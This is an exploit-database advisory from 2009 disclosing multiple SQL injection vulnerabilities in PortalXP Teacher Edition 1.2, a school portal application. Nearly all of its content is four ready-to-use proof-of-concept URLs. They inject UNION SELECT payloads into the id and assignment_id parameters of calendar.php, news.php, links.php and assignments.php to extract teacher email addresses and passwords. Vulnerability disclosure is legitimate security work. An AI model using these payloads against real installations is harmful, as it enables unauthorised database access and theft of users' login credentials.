[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : PortalXP - Teacher Edition 1.2 Multiple SQL Injection Vulnerabilities
# Published : 2009-08-01
# Author : SirGod
# Previous Title : Joomla Component com_jfusion (Itemid) Blind SQL Injection Vuln
# Next Title : aa33code 0.0.1 (LFI/Auth Bypass/DCD) Multiple Remote Vulnerabilites 


###########################################################################################################################################
[+] PortalXP - Teacher Edition 1.2 Multiple SQL Injection Vulnerabilities
[+] Discovered By SirGod
[+] http://insecurity-ro.org
[+] http://h4cky0u.org
###########################################################################################################################################

[+] Download : http://sourceforge.net/projects/portalxp/files/portalxp%20-%20teacher%20edition/Version%201.2/PortalXP1-2.zip/download

[+] SQL Injection

 - PoC's

   http://127.0.0.1/calendar.php?id=null+union+all+select+1,2,3,concat_ws(0x3a,email,teacherpass),5+from+teacher--

   http://127.0.0.1/news.php?id=null+union+all+select+1,2,3,concat_ws(0x3a,email,teacherpass),5+from+teacher--

   http://127.0.0.1/links.php?id=null+union+all+select+1,2,3,concat_ws(0x3a,email,teacherpass),5+from+teacher--

   http://127.0.0.1/assignments.php?assignment_id=1+union+all+select+1,2,3,4,concat_ws(0x3a,email,teacherpass),6,7,8,9+from+teacher--


###########################################################################################################################################

# www.Syue.com [2009-08-01]